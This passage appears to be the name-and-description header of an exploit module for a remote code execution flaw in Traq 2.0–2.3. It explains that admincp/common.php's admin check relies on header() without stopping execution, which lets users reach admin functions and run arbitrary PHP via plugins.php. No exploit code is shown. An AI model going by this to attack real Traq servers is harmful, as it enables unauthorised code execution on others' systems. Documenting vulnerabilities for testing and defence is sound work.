'Name' => 'Traq admincp/common.php Remote Code Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
Traq 2.0 to 2.3. It's in the admincp/common.php script.
This function is called in each script located in the /admicp/ directory to
make sure the user has admin rights. This is a broken authorization schema
because the header() function doesn't stop the execution flow.
This can be exploited by malicious users to execute admin functionality,
e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
